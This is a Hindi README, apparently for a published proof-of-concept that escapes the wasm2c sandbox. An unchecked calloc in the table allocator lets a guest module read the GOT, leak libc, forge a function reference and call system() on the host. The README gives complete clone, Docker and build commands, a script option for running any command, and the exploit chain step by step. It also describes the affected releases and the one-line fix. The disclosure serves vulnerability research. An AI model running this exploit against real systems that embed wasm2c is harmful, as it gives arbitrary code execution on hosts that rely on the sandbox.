
wasm2c सैंडबॉक्स एस्केप। एक अविश्वसनीय WebAssembly मॉड्यूल उत्पन्न C सैंडबॉक्स से बाहर निकल जाता है और होस्ट पर एक मनमाना शेल कमांड निष्पादित करता है।
ब्लॉग पढ़ें: trustsig.eu/blog
wasm2c/wasm-rt-impl-tableops.inc में wasm_rt_allocate_funcref_table() मॉड्यूल के घोषित एलिमेंट काउंट से
table->size सेट करता है और फिर calloc() के परिणाम को अनदेखा कर देता है।
जब आवंटन विफल होता है, तो टेबल data == NULL और पूर्ण घोषित size के साथ रह जाती है,
इसलिए हर बाउंड्स जाँच अभी भी पास होती है और table->data[i] पूर्ण पता
i * sizeof(wasm_rt_funcref_t) बन जाता है।
एलिमेंट काउंट गेस्ट से आता है, इसलिए गेस्ट आवंटन आकार चुनता है और विफलता को बलपूर्वक ला सकता है।
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
यह इमेज upstream से टैग 1.0.41 पर wabt क्लोन करती है, wat2wasm और wasm2c बनाती है,
गेस्ट मॉड्यूल और एक सादा एम्बेडर कंपाइल करती है, और उसे चलाती है।
अपेक्षित आउटपुट:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
अंतिम पंक्ति /tmp/pwned.txt की सामग्री है, एक फ़ाइल जो सैंडबॉक्स किए गए मॉड्यूल के चलने से पहले मौजूद नहीं थी।
linux/arm64 और linux/amd64 पर सत्यापित किया गया। मॉड्यूल में कुछ भी आर्किटेक्चर-विशिष्ट नहीं है:
इंस्टेंस पता, GOT स्लॉट और libc ऑफसेट सभी बिल्ड समय पर अभी बनाए गए बाइनरी और उस इमेज के libc से हल किए जाते हैं।
Linux पर, clang, cmake, ninja और binutils स्थापित होने पर:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS इस PoC के लिए समर्थित लक्ष्य नहीं है। Darwin RLIMIT_AS लागू नहीं करता, इसलिए
अत्यधिक बड़ा calloc सफल होता है और बग कभी ट्रिगर नहीं होता, arm64 macOS बिल्ड हमेशा
पोज़िशन इंडिपेंडेंट होते हैं, और Mach-O में लीक चरण के लिए ELF GOT नहीं होता। दोष स्वयं
प्लेटफ़ॉर्म-स्वतंत्र है; केवल यह एक्सप्लॉइट श्रृंखला Linux-विशिष्ट है।
अन्य संस्करण और कमांड:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref) घोषित करता है। 68 GB का calloc विफल हो जाता है, data NULL होता है,
size 2147483648 ही रहता है, और टेबल इंडेक्स पूर्ण पते बन जाते हैं।got_slot/32 पर table.get टूटी हुई टेबल के माध्यम से एम्बेडर का GOT पढ़ता है और
table.set परिणाम को मॉड्यूल के अपने ग्लोबल्स में संग्रहीत करता है, जहाँ wasm कोड उसे
एक पूर्णांक के रूप में पढ़ सकता है। इससे libc का malloc पता लीक होता है, और system
लक्ष्य के libc में एक निश्चित दूरी से प्राप्त होता है।wasm_rt_funcref_t बनाता है: func_type कॉल साइट के टाइप हैश की
एक प्रति की ओर इशारा करता है (func_types_eq_slowpath इसकी तुलना memcmp से करता है,
इसलिए गेस्ट-नियंत्रित बाइट्स जाँच पास कर लेती हैं), func = system, और
module_instance = कमांड स्ट्रिंग, जो ग्लोबल्स में भी रखी जाती है।globals_addr/32 पर call_indirect। wasm2c
((t)entry.func)(entry.module_instance, ...) उत्सर्जित करता है, इसलिए यह system(command) को कॉल करता है।मॉड्यूल में डाला गया एकमात्र लेआउट तथ्य मॉड्यूल इंस्टेंस का पता है, जो एक ग्लोबल है और इसलिए गैर-PIE एम्बेडर में स्थिर रहता है। ASLR सक्षम रहता है; libc पता रनटाइम पर लीक होता है।
टेबल आवंटन को विफल होना पड़ता है। PoC ulimit -v 1000000 का उपयोग करता है, जो उस प्रकार की एड्रेस स्पेस
सीमा है जो अविश्वसनीय कोड चलाने वाला होस्ट सेट करता है। यह 32-बिट होस्ट पर भी विफल होता है,
जहाँ आवंटन बिल्कुल संतुष्ट नहीं हो सकता, vm.overcommit_memory=2 के साथ,
या पर्याप्त मेमोरी दबाव में।
स्टॉक 64-बिट Linux पर डिफ़ॉल्ट ओवरकमिट ह्यूरिस्टिक के साथ आवंटन सफल होता है और उसे कभी छुआ नहीं जाता, यही कारण है कि बग सामान्य परीक्षण में बच जाता है।
वह हर रिलीज़ जो wasm2c टेबल्स के साथ आती है। बिना जाँच वाला calloc कमिट
ab9e0b55 (#813) से है। रिलीज़ 1.0.41 और वर्तमान main के विरुद्ध सत्यापित किया गया।
उसी रनटाइम में मेमोरी आवंटक इस मामले को संभालता है:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
टेबल आवंटक को भी वही जाँच चाहिए।
Dockerfile wabt बनाता है और PoC चलाता है।tableflip_poc.py गेस्ट मॉड्यूल उत्पन्न करता है, एम्बेडर बनाता है, बने बाइनरी और लक्ष्य के libc से
nm और readelf के साथ तीनों स्थिरांक हल करता है, और उसे चलाता है। यह जो एम्बेडर उत्सर्जित करता है
उसमें कोई एक्सप्लॉइट समर्थन कोड नहीं होता।